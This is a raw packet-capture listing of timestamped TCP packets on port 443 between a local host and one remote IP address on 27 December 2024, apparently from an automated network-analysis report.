Dec 27, 2024 20:18:04.242824078 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.242836952 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.242882967 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.242889881 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.243761063 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.243778944 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.243829966 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.243837118 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.243859053 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.243876934 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.244781017 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.244793892 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.244847059 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.244853973 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.245718956 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.245737076 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.245794058 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.245800972 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.245840073 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.246037960 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.246051073 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.246095896 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.246103048 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.246120930 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.246138096 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.246901989 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.247035027 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.247047901 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.247100115 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.247106075 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.247847080 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.259278059 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.259294987 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.259385109 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.259399891 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.262284994 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.263324976 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.263341904 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.263405085 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.263420105 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.263458014 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.267980099 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.267997026 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.268059015 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.268071890 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.270829916 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.270950079 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.270991087 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.271025896 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.271032095 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.271044016 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.272595882 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.275531054 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.275548935 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.275613070 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.275620937 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.318656921 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.318710089 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.426975012 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.427002907 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.427087069 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.427117109 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.427162886 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.430598974 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.430613041 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.430679083 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.430685997 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.430720091 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.435376883 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.435391903 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.435452938 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.435460091 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.435493946 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.475852966 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.475867987 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.475950003 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.475965023 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.476012945 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.479335070 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.479351044 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.479398012 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.479404926 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.479437113 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.483118057 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.483131886 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.483181953 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.483189106 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.483222008 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.487795115 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.487808943 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.487859011 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.487864017 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.487896919 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.491694927 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.491708994 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.491760969 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.491767883 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.491800070 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.637506962 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.637531996 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.637645006 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.637671947 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.637712002 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.641272068 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.641287088 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.641359091 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.641366005 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.641402960 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.645802021 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.645817995 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.645868063 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.645873070 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.645915031 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.686130047 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.686150074 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.686243057 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.686259031 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.686300993 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.689568043 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.689584970 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.689654112 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.689661980 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.689699888 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.694236040 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.694252014 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.694323063 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.694330931 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.694369078 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.698138952 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.698153019 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.698231936 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.698240995 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.698278904 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.702861071 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.702877045 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.702949047 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.702955961 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.702991962 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.768505096 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.848086119 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.848103046 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.848150969 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.848166943 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.848190069 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.848210096 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.851788044 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.851807117 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.851859093 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.851866007 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.851896048 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.856329918 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.856343985 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.856389999 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.856395960 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.856431961 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.857307911 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.896591902 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.896608114 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.896672010 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.896681070 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.896717072 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.900399923 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.900423050 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.900487900 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.900506020 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.900542974 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.904886007 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.904906034 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.904973030 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.904987097 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.905019045 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.908807993 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.908833027 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.908930063 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.908942938 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.908973932 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.913336992 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.913353920 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.913386106 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.913397074 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:04.913425922 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.913439035 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:04.913499117 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.058552980 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.058573961 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.058659077 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.058681011 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.058718920 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.062923908 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.062941074 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.062994957 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.063000917 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.063040972 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.066694021 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.066709995 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.066775084 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.066781998 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.066819906 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.101134062 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.107533932 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.107551098 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.107599974 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.107620001 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.107640028 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.107655048 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.111284971 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.111301899 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.111361027 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.111367941 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.111399889 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.115087032 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.115104914 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.115161896 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.115168095 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.115205050 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.119790077 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.119805098 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.119872093 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.119879961 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.119913101 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.123596907 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.123610973 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.123671055 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.123682022 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.123718023 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.173302889 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.269165039 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.269191027 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.269258022 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.269287109 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.269324064 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.272901058 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.272916079 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.272974014 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.272980928 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.273019075 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.277385950 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.277400970 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.277462959 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.277470112 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.277503014 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.317828894 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.317847013 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.317945004 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.317964077 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.318046093 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.321626902 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.321640968 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.321748018 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.321753979 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.321845055 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.326370955 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.326385021 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.326549053 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.326554060 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.326637983 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.330214977 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.330230951 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.330290079 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.330296993 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.330333948 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.334913969 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.334929943 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.334995985 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.335009098 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.335042953 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.479636908 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.479659081 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.479813099 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.479836941 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.479938984 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.483623028 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.483639002 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.483752966 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.483760118 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.483850002 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.487447977 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.487484932 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.487566948 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.487582922 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.487653971 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.528517008 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.528558969 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.528604984 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.528633118 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.528645992 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.528669119 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.532244921 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.532265902 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.532318115 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.532330990 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.532407045 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.536916971 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.536936998 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.536989927 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.537003040 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.537039995 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.540836096 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.540858030 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.540908098 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.540920019 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.540946960 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.540961981 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.545583963 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.545605898 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.545669079 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.545680046 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.546231985 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.690116882 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.690133095 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.690279007 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.690294027 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.690390110 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.694078922 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.694092035 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.694200993 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.694205999 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.694298983 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.698812962 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.698827982 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.698903084 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.698909044 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.698940039 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.739202023 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.739224911 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.739367008 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.739397049 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.741173029 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.743010998 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.743024111 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.743094921 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.743105888 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.744719982 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.746849060 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.746861935 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.746921062 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.746934891 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.747064114 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:05.751535892 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:05.751550913 CET	443	49746	104.21.37.128	192.168.2.4
